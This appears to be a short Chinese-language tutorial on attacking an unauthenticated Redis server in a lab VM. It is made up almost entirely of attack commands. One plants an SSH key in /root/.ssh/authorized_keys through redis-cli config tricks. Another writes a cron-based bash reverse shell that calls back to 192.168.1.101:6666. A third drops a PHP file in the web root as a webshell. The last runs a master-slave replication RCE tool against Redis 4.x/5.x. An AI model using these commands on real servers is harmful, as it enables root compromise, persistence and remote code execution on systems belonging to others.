Redis Attack
Redis攻击
Redis攻击
- 环境搭建
在虚拟机中搭建redis服务
- 测试连接
写ssh-keygen公钥登陆
首先在本地生产公私钥文件
ssh-keygen –t rsa
公钥写入 key.txt 文件
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
连接 Redis 写入文件
cat test.txt | redis-cli -h 192.168.1.103 -x set crackit redis-cli -h 192.168.1.103 config set dir /root/.ssh/ config get dir config set dbfilename "authorized_keys" save
私钥登陆
ssh -i id_rsa root@192.168.1.103
利用计划任务执行命令反弹shell
监听一个端口
nc -lvvp 6666
写入反弹shell
set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.101/6666 0>&1\n\n" config set dir /var/spool/cron/ config set dbfilename root save
- 反弹shell
WEB目录写webshell
写shell
config set dir /var/www/html/ config set dbfilename shell.php set x "<?php phpinfo();?>" save
基于主从复制的RCE
影响范围
Redis 4.x/5.x
工具下载地址
https://github.com/jas502n/Redis-RCE.git
主从利用
python redis-rce.py -r 192.168.1.103 -p 6379 -L 192.168.1.101 -f exp_lin.so
- 原文连接